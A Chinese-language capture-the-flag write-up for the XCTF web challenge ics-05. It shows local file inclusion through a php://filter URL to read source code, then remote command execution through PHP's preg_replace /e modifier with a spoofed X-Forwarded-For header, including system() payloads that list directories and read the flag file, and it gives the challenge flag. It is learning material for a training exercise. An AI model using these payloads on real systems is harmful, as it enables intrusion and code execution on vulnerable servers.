• 攻防世界-Web-ics-05


    根据题目提示直接进入设备维护中心

    点击云平台设备维护中心发现page=index

    LFI漏洞的黑盒判断方法:

    单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

    利用LFI来查看源码

    index.php?page=php://filter/read=convert.base64-encode/resource=index.php

    为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)

    解码base64得到源码

    使用burp出现中文乱码,找到一个在线解密网站

    https://base64.us/

    审计代码得出关键部分

    利用preg_replace /e代码执行漏洞 

    具体参考https://www.jb51.net/article/145649.htm

    preg_replace( pattern , replacement , subject ) : pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)

    函数作用:搜索subject中匹配pattern的部分,以replacement进行替换。
    $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。

    也就是说,patsub有相同部分,rep的代码就会执行。

    根据源码分析X-Forwarded-For改成127.0.0.1之后,GET进三个参数。然后调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞

    ls查看文件目录

    index.php?pat=/test/e&rep=system("ls")&sub=test

    使用cd进入目标文件,并查看该文件夹下文件

    system("cd%20s3chahahaDir%26%26+ls")

    此处不能使用空格隔开,可用%20或者+代替,%26%26&&&&意思是当前面命令执行成功时,继续执行后面的命令

    看到flag.php,使用cat命令查看flag.php中的内容

    /index.php?pat=/test/e&rep=system("cat%20s3chahahaDir/flag/flag.php

    cyberpeace{4e74a628dc0472e23b457a8c735edfbd}

    参考链接:https://www.jianshucom/p/5a502873635b

    菜鸟上路,多多指教

  • 相关阅读:
    游标、动态sql、异常
    定义declare、%TYPE%、ROWTYPE、加循环
    存储过程
    游标
    异常
    常用的sql语句(转)
    MVC的理解
    模拟struts2
    结构化分析方法
    Maven常用命令
  • 原文地址:https://www.cnblogs.com/injection/p/13176217.html
Copyright © 2020-2023  润新知